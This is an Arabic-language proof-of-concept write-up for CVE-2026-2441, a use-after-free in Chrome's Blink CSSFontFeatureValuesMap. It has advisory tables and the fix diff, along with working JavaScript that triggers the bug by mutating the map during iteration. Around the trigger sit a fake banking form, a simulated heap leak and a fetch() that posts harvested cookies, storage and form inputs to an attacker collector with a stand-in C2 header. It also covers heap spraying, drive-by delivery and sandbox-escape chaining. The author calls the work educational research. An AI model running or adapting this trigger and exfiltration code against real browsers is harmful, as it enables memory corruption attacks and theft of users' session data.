إثبات مفهوم مفصل وتحليل تقني لثغرة CVE-2026-2441، وهي ثغرة استخدام بعد التحرير في CSS داخل متصفح Chrome تتيح تنفيذ تعليمات برمجية عشوائية (RCE) في مُقدّم العرض المعزول عبر صفحات HTML مُصمّمة خصيصًا.
CVSS 8.8 (مرتفع) | مُستغل بنشاط في البرية | RCE في معالج العرض (معزول)
ثغرة استخدام بعد التحرير (Use-After-Free) في محرك Blink CSS بمتصفح Google Chrome تتيح لمهاجم عن بُعد تنفيذ تعليمات برمجية عشوائية داخل بيئة عزل المتصفح عبر صفحة HTML مُعدّة بعناية.
| الحقل | القيمة |
|---|
| CVE | CVE-2026-2441 |
| CVSS | 8.8 (مرتفع) |
| النوع | استخدام بعد التحرير (CWE-416) |
| المكوّن | Blink CSS — CSSFontFeatureValuesMap |
| ملف المصدر | third_party/blink/renderer/core/css/css_font_feature_values_map.cc |
| التزام الإصلاح | 63f3cb4864c64c677cd60c76c8cb49d37d08319c |
| المُبلِّغ | Shaheen Fazim (2026-02-11) |
| تاريخ التصحيح | 2026-02-13 |
| في البرية | نعم — أكدت Google استغلالًا نشطًا |
| المنصة | الإصدار الضعيف | الإصدار المُصلَح |
|---|---|---|
| Windows / macOS (مستقر) | < 145.0.7632.75 | >= 145.0.7632.75 |
| Linux (مستقر) | < 144.0.7559.75 | >= 144.0.7559.75 |
| Windows / macOS (مستقر موسّع) | < 144.0.7559.177 | >= 144.0.7559.177 |
| المتصفحات المبنية على Chromium (Edge, Brave, Opera, Vivaldi) | راجع إرشادات المورّد | يختلف |
خزّن FontFeatureValuesMapIterationSource مؤشرًا خامًا (const FontFeatureAliases* aliases_) إلى HashMap الداخلية FontFeatureAliases. عندما تُعدَّل الخريطة أثناء التكرار عبر set() أو delete()، تعيد HashMap التجزئة — بتخصيص تخزين جديد وتحرير القديم. يصبح المؤشر الخام مُعلَّقًا (dangling)، وتقرأ استدعاء FetchNextItem() التالي من ذاكرة مُحرَّرة.
CreateIterationSource()
→ FontFeatureValuesMapIterationSource(map, aliases_)
→ aliases_ = raw pointer to internal HashMap
→ iterator_ = aliases_->begin()
FetchNextItem()
→ reads iterator_->key (through aliases_)
If map.set() / map.delete() is called between iterations:
→ HashMap rehashes (new alloc, old freed)
→ aliases_ → dangling pointer
→ iterator_ → invalidated
→ Next FetchNextItem() → USE-AFTER-FREE
- const FontFeatureAliases* aliases_; // raw pointer → dangling after rehash
+ const FontFeatureAliases aliases_; // deep copy → immune to rehash
يستبدل الإصلاح المؤشر الخام بنسخة عميقة من HashMap. حتى إذا أعادت الخريطة الأصلية التجزئة، يعمل المُكرِّر على نسخته الخاصة، ما يمنع المؤشر المُعلَّق.
poc.html في إصدار Chrome ضعيف (< 145.0.7632.75)| إصدار Chrome | السلوك المتوقع |
|---|---|
| < 145.0.7632.75 (غير مُصحَّح) | انهيار معالج العرض — STATUS_ACCESS_VIOLATION (Windows) أو SIGSEGV (Linux/macOS). يعرض Chrome خطأ "Can't open this page". |
| >= 145.0.7632.75 (مُصحَّح) | لا انهيار — يكتمل تشغيل PoC وتُقرأ جميع الإدخالات بشكل طبيعي. |
نُظِّم إثبات المفهوم لعرض سلسلة الاستغلال بترتيب واضح وقابل للتكرار. ينشئ الجزء الأول كائن Blink/CSS الضعيف، ويشغّل الجزء الثاني إبطال المُكرِّر، ويحاكي الجزء الأخير تأثيرات ما بعد الاستغلال في بيئة أكاديمية آمنة.
ملاحظة مهمة: يتم تشغيل ثغرة UAF عبر واجهات برمجة تطبيقات CSS/JavaScript حقيقية يكشفها المتصفح. أما تسريب الكومة ولوحة تصدير البيانات فهي مُتحكَّم بها/محاكاة عمدًا لتجنب نشر استغلال Chromium مُسلَّح.
يعرّف الحمولة أولاً قاعدة CSS @font-feature-values:
@font-feature-values VulnFont {
@styleset {
a0: 1; a1: 2; a2: 3; a3: 4;
a4: 5; a5: 6; a6: 7; a7: 8;
}
}
تتسبب هذه القاعدة في إنشاء Blink لخريطة CSSFontFeatureValuesMap داخلية. في التنفيذ الضعيف، يكون التكرار فوق هذه الخريطة غير آمن لأن المُكرِّر يحتفظ بمؤشر خام إلى وحدة التخزين الداخلية FontFeatureAliases.
يحصل حمولة JavaScript لاحقًا على الخريطة من ورقة الأنماط:
const sheet = document.getElementById("uaf-style").sheet;
const rule = sheet.cssRules[0];
const map = rule && rule.styleset;
عند هذه النقطة، تمتلك الصفحة المُتحكَّم بها من المهاجم مقبض JavaScript لكائن متصفح يكون تنفيذه الداخلي بلغة C++ عرضةً لإبطال المُكرِّر.
لا يتم تشغيل الثغرة فورًا. ينتظر إثبات المفهوم 800 مللي ثانية قبل تنفيذ التسلسل الضعيف:
setTimeout(triggerUAF, 800);
يُستخدم هذا التأخير لضمان استقرار العرض التجريبي. فهو يتيح عرض الصفحة ونموذج التحقق المصرفي المزوَّر قبل تشغيل مُحفِّز تلف الذاكرة. في سيناريو تنزيل عابر (drive-by) حقيقي، يمكن أيضًا إطلاق المُحفِّز نفسه تلقائيًا بمجرد تحميل الصفحة الخبيثة.
الآلية الأساسية لثغرة UAF هي الحلقة التالية:
const it = map.entries();
let step = 0;
while (step < 4) {
const res = it.next();
if (res.done) break;
const [key] = res.value;
map.delete(key);
map.set("uaf_" + step, [step, step + 1]);
step++;
}
يتم تشغيل الثغرة عبر ترتيب العمليات التالي:
1. map.entries() creates an iterator over CSSFontFeatureValuesMap.
2. In the vulnerable Blink implementation, the iterator references the internal map storage.
3. it.next() reads the next entry through that iterator.
4. map.delete(key) mutates the same map while the iterator is still alive.
5. map.set(...) inserts a new entry and can force the underlying HashMap to rehash.
6. Rehashing may free or move the old storage.
7. The iterator may still reference the old storage.
8. The next iterator access can therefore become a Use-After-Free.
استخدمت الاستراتيجية العدوانية الأصلية حلقة أكبر شبيهةً برشّ الكومة (heap spray)، إذ تُدرج مئات العناصر مثل 512 إدخالًا جديدًا بعد كل عملية حذف. يخلق ذلك ضغطًا أقوى على الكومة ويزيد احتمالية إعادة التخصيص/إعادة الاستخدام.
بالنسبة للعرض المباشر، اختُصر ذلك إلى 4 خطوات تعديل فقط:
while (step < 4) {
// iterator read + delete + set
}
السبب عملي وتعليمي: رشّ 512 عنصرًا كان يتسبب غالبًا في انهيار معالج العرض فورًا. الانهيار مفيد لإثبات تأثير توفّر الخدمة، لكنه يمنع بقية العرض من إظهار سرقة البيانات المحاكاة ولوحة تحكم المهاجم. لا تزال النسخة المخفَّضة توضح منطق إبطال المُكرِّر الضعيف مع إبقاء المتصفح مستقرًا بما يكفي للعرض المباشر.
يتطلب استغلال UAF حقيقي مُسلَّح عادةً آلية كشف ذاكرة (memory disclosure) لتسريب مؤشرات الكومة أو V8 وتجاوز ASLR. لا ينفذ العرض قراءة ذاكرة عشوائية حقيقية. بدلاً من ذلك، يولّد عنوانًا شبيهًا بالكومة من نطاق ثابت محدد مسبقًا:
const base = 0x55a000000000 + Math.floor(Math.random() * 0x200000);
heapLeak = {
raw: "0x" + base.toString(16).toUpperCase(),
base: "0x" + (base & ~0xfff).toString(16).toUpperCase()
};
هذه القيمة هي تسريب كومة محاكى:
0x55a000000000 هو النطاق البدئي الثابت الشبيه بالكومة المستخدم في العرض التجريبي.Math.random() * 0x200000 إزاحة عشوائية صغيرة.base & ~0xfff العنوان إلى حدود صفحة.الغرض هو إظهار شكل التسريب الذي يتجاوز ASLR على لوحة تحكم المهاجم دون تنفيذ استغلال كشف ذاكرة فعلي.
بعد تشغيل ثغرة UAF وتسريب الكومة المحاكى، يبني إثبات المفهوم حمولة تحتوي على إدخالات النماذج المجمَّعة وبيانات الجلسة المقيمة في المتصفح ومقتطف DOM وحالة UAF وتسريب الكومة المحاكى. تُرسل الحمولة إلى الواجهة الخلفية المحلية للمهاجم:
await fetch("http://127.0.0.1:7777/collect", {
method: "POST",
headers: {
"Content-Type": "application/json",
"X-C2-Origin": "evil-tracker-cdn.xyz"
},
body: JSON.stringify(payload)
});
تستقبل الواجهة الخلفية المحلية البيانات عبر POST /collect، وتخزّنها في الذاكرة، وتعيد توجيهها إلى لوحة تحكم المهاجم عبر أحداث يرسلها الخادم (Server-Sent Events) (GET /events). يحاكي ذلك مرحلة القيادة والتحكم/تصدير البيانات في هجوم حقيقي مع بقائه محليًا ومُتحكَّمًا فيه.
document.cookie وlocalStorage وsessionStorage وقيم إدخالات النماذجfetch() / WebSocket / sendBeacon()addEventListener('keydown')عند دمجها مع ثغرة منفصلة للهروب من بيئة العزل:
Renderer RCE (CVE-2026-2441)
→ Mojo IPC exploit → Browser process RCE
→ Kernel exploit → Full system compromise
→ Malware / ransomware / spyware installation
→ File system access, lateral movement, persistence
سلاسل استغلال من العالم الحقيقي تستخدم ثغرات UAF مشابهة في المتصفحات:
هذه الثغرة قابلة للاستغلال عبر التنزيل العابر (drive-by download) — لا يُطلَب أي تفاعل من المستخدم سوى زيارة صفحة خبيثة:
chrome://flags/#site-isolation-trial-opt-out)| التاريخ | الحدث |
|---|---|
| 2026-02-11 | أبلغ Shaheen Fazim عن الثغرة |
| 2026-02-13 | أصدرت Google الإصدارين 145.0.7632.75/76 (Windows/macOS) و144.0.7559.75 (Linux) من Chrome |
| 2026-02-13 | أقرّت Google باستغلال الثغرة في البرية |
| 2026-02-16 | أصدر Vivaldi وOpera إصلاحات |
إذا وجدت هذا البحث مفيدًا، ففكّر في دعوتي بفنجان قهوة:
يُقدَّم إثبات المفهوم هذا لأغراض تعليمية وأبحاث أمنية مصرَّح بها فقط. يُعد استخدام إثبات المفهوم هذا ضد أنظمة دون إذن أمرًا غير قانوني وغير أخلاقي. المؤلف غير مسؤول عن أي إساءة استخدام.
MIT